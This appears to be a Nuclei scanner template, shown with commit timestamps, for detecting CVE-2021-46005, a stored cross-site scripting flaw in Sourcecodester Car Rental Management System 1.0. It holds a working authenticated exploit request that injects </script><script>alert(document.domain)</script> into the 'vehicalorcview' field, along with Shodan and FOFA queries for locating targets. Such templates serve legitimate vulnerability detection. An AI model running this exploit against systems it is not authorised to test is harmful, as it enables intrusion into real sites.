nuclei-templates/http/cves/2021/CVE-2021-46005.yaml

125 lines
4.3 KiB
YAML
Raw Normal View History

2022-01-29 13:22:44 +00:00
id: CVE-2021-46005
info:
name: Sourcecodester Car Rental Management System 1.0 - Stored Cross-Site Scripting
2022-01-29 13:22:44 +00:00
author: cckuailong
severity: medium
description: Sourcecodester Car Rental Management System 1.0 is vulnerable to cross-site scripting via the vehicalorcview parameter.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to the execution of arbitrary code or theft of sensitive information.
2023-09-06 12:09:01 +00:00
remediation: |
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
2022-01-29 13:22:44 +00:00
reference:
- https://www.exploit-db.com/exploits/49546
- https://nvd.nist.gov/vuln/detail/CVE-2021-46005
- https://www.sourcecodester.com/cc/14145/online-car-rental-system-using-phpmysql.html
2024-05-31 19:23:20 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
2022-01-29 13:22:44 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-46005
cwe-id: CWE-79
2023-08-31 11:46:18 +00:00
epss-score: 0.00143
2024-05-31 19:23:20 +00:00
epss-percentile: 0.50094
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
metadata:
max-request: 3
2023-07-11 19:49:27 +00:00
vendor: car_rental_management_system_project
product: car_rental_management_system
2024-05-31 19:23:20 +00:00
shodan-query: http.html:"car rental management system"
fofa-query: body="car rental management system"
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,sourcecodester,authenticated,edb,xss,intrusive,car_rental_management_system_project
2022-01-29 13:22:44 +00:00
http:
2022-01-29 13:22:44 +00:00
- raw:
- |
POST /admin/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: close
username={{username}}&password={{password}}&login=
- |
POST /admin/post-avehical.php HTTP/1.1
Host: {{Hostname}}
2022-01-31 17:59:36 +00:00
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypWqYipqU21aYgccv
2022-01-29 13:22:44 +00:00
2022-01-31 17:59:36 +00:00
------WebKitFormBoundarypWqYipqU21aYgccv
2022-01-29 13:22:44 +00:00
Content-Disposition: form-data; name="vehicletitle"
2022-01-31 17:59:36 +00:00
Test
------WebKitFormBoundarypWqYipqU21aYgccv
2022-01-29 13:22:44 +00:00
Content-Disposition: form-data; name="brandname"
2022-01-31 17:59:36 +00:00
1
------WebKitFormBoundarypWqYipqU21aYgccv
2022-01-29 13:22:44 +00:00
Content-Disposition: form-data; name="vehicalorcview"
2022-01-31 17:59:36 +00:00
</script><script>alert(document.domain)</script>
------WebKitFormBoundarypWqYipqU21aYgccv
2022-01-29 13:22:44 +00:00
Content-Disposition: form-data; name="priceperday"
2022-01-31 17:59:36 +00:00
500
------WebKitFormBoundarypWqYipqU21aYgccv
2022-01-29 13:22:44 +00:00
Content-Disposition: form-data; name="fueltype"
2022-01-31 17:59:36 +00:00
Petrol
------WebKitFormBoundarypWqYipqU21aYgccv
2022-01-29 13:22:44 +00:00
Content-Disposition: form-data; name="modelyear"
2022-01-31 17:59:36 +00:00
2022
------WebKitFormBoundarypWqYipqU21aYgccv
2022-01-29 13:22:44 +00:00
Content-Disposition: form-data; name="seatingcapacity"
2022-01-31 17:59:36 +00:00
5
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img1"; filename="test.png"
2022-01-29 13:22:44 +00:00
Content-Type: image/png
2022-01-31 17:59:36 +00:00
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img2"; filename="test.png"
Content-Type: image/png
2022-01-29 13:22:44 +00:00
2022-01-31 17:59:36 +00:00
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img3"; filename="test.png"
Content-Type: image/png
2022-01-29 13:22:44 +00:00
2022-01-31 17:59:36 +00:00
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img4"; filename="test.png"
Content-Type: image/png
2022-01-29 13:22:44 +00:00
2022-01-31 17:59:36 +00:00
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img5"; filename=""
Content-Type: application/octet-stream
2022-01-29 13:22:44 +00:00
2022-01-31 17:59:36 +00:00
------WebKitFormBoundarypWqYipqU21aYgccv
2022-01-29 13:22:44 +00:00
Content-Disposition: form-data; name="submit"
2022-01-31 17:59:36 +00:00
------WebKitFormBoundarypWqYipqU21aYgccv--
2022-01-29 13:22:44 +00:00
- |
GET / HTTP/1.1
Host: {{Hostname}}
2022-01-31 18:04:34 +00:00
2022-01-29 13:22:44 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2023-07-11 19:49:27 +00:00
- </script><script>alert(document.domain)</script>
2022-01-31 17:59:36 +00:00
- type: word
part: header
words:
- text/html
2022-01-29 13:54:58 +00:00
2022-01-29 13:22:44 +00:00
- type: status
status:
- 200
# digest: 490a00463044022047d63f5826c9b9ceb59d9ed3139a6b530fae5726bf1418cdbe4decff91e8d22202201acab11fdc62c4bfed133b124241b997797189b54ce0170b7bc726d75cfd3b2c:922c64590222798bb761d5b6d8e72950